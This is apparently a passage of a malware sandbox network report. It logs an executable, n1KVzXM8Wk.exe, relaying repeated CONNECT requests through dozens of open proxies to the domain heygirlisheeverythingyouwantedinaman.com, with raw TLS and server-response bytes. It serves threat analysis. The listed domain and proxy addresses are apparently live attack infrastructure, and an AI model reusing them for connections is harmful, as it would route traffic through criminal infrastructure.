Feb 23, 2024 09:45:22.188865900 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.4	52362	3.127.62.252	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.916065931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.106080055 CET	148	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: Avaya CMBE/2 Content-Length: 0
Feb 23, 2024 09:45:22.106448889 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 5b 21 14 96 19 a4 fb c7 56 d2 5a 99 a6 ca 29 94 4b 95 cd f3 b3 4e 0c 86 8a fb a9 cd f5 9d 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[!VZ)KN*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#2gO+qveZ=6#5="
Feb 23, 2024 09:45:22.287121058 CET	536	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 e5 44 c6 ad 67 db f6 38 20 b1 09 78 1d 20 ae 96 43 7f 5c 39 b6 2e 0c 5d 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9Dg8 x C\9.]DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223084516Z260222084516Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 09:45:22.287126064 CET	536	IN	Data Raw: 01 00 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 40 a7 79 08 c0 57 5e f2 c9 fe 93 27 48 bf 87 0e 55 32 8e 93 12 4b 22 77 91 63 45 35 db b0 46 0d 30 b5 55 5b a6 6e 98 b7 81 4e 20 68 b2 ac 2a d7 ea 6e d5 91 8b e4 6f 00 ad 25 d4 Data Ascii: 0H@yW^'HU2K"wcE5F0U[nN hno%x1FjS-:K8g'F9^PL={B\|4J`{!;D;47:}+9UJ6~E&+$S$Z@bh:t"V$t;rV
Feb 23, 2024 09:45:22.287131071 CET	57	IN	Data Raw: 9d 9c df 4b 6f 3e af 57 fa f5 62 ec fc bf e7 b5 37 45 2e a1 8c bc 7f 41 de 8b c1 b8 d3 97 e7 f5 71 07 2e a9 73 ff 73 0e e7 90 55 b2 22 e4 45 64 16 03 03 00 04 0e 00 00 00 Data Ascii: Ko>Wb7E.Aq.ssU"Ed
Feb 23, 2024 09:45:22.296519995 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 76 a9 af 00 2f f8 a8 23 4a ae 10 b0 b0 1b fa de b5 fe bc fa 88 2e 18 2e 24 8a f2 23 9b 5a 3e 32 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 ba 6e 7a 02 44 e1 1b 3c 81 3a 31 b9 a3 d0 40 f2 cb 5f ed 4c d5 Data Ascii: %! v/#J..$#Z>2(nzD<:1@_Lx^B4
Feb 23, 2024 09:45:22.470500946 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 b5 55 25 90 f4 fc 3f 29 aa 12 58 b2 e6 59 c3 1b 15 4b 73 cf 6c bc 36 c5 55 48 c0 eb 12 3a 7f 20 7c 03 7e bd ae 84 b4 b1 Data Ascii: (U%?)XYKsl6UH: \|~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.4	52291	13.232.245.132	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.947721958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.225940943 CET	531	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 08:45:22 GMT Server: Apache/2.4.52 (Ubuntu) Allow: POST,OPTIONS,HEAD,GET Content-Length: 331 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.4	51320	117.160.250.131	8899	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.948482990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.515378952 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.4	51623	149.50.238.114	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.959777117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.359148026 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.4	52399	190.12.95.170	47029	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.960078955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.195005894 CET	19	IN	HTTP/1.1 200 OK
Feb 23, 2024 09:45:26.795005083 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.4	52412	203.24.103.131	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.966795921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.054394960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.4	52407	172.245.16.47	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.967344999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.4	52230	161.189.49.26	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.971096039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.374891996 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0
Feb 23, 2024 09:45:22.757133007 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Feb 23, 2024 09:45:22.758502007 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.4	52378	45.11.95.165	6031	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.971218109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.4	52416	104.17.50.45	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.981338978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.069046021 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.4	52281	102.132.57.90	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.982512951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.4	52437	104.17.171.79	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.988599062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.076548100 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.4	52444	104.22.14.48	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.997699022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.085469007 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.4	52292	43.133.136.208	8800	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.999202967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.336400032 CET	308	IN	HTTP/1.1 403 Forbidden Server: nginx/1.22.1 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.4	52358	200.43.231.8	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.001610041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.4	52344	58.234.116.197	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.012149096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.4	51698	27.75.152.191	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.012151957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.4	52408	98.162.25.23	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.017430067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.4	51595	171.244.140.160	37400	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.022241116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.4	52451	51.79.87.144	41230	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.022241116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.475070953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.866152048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.680557966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178417921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.683005095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.179008007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.4	52409	72.206.181.123	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.025372982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.4	52426	107.180.89.55	12940	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.035778999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.475071907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.4	51659	5.252.23.249	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.047655106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178188086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.179192066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.178991079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.4	52360	52.172.1.186	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.049822092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.4	51635	159.223.71.71	64151	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.063043118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.893145084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.122270107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.589677095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.647156000 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.4	52449	51.15.242.202	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.068325043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
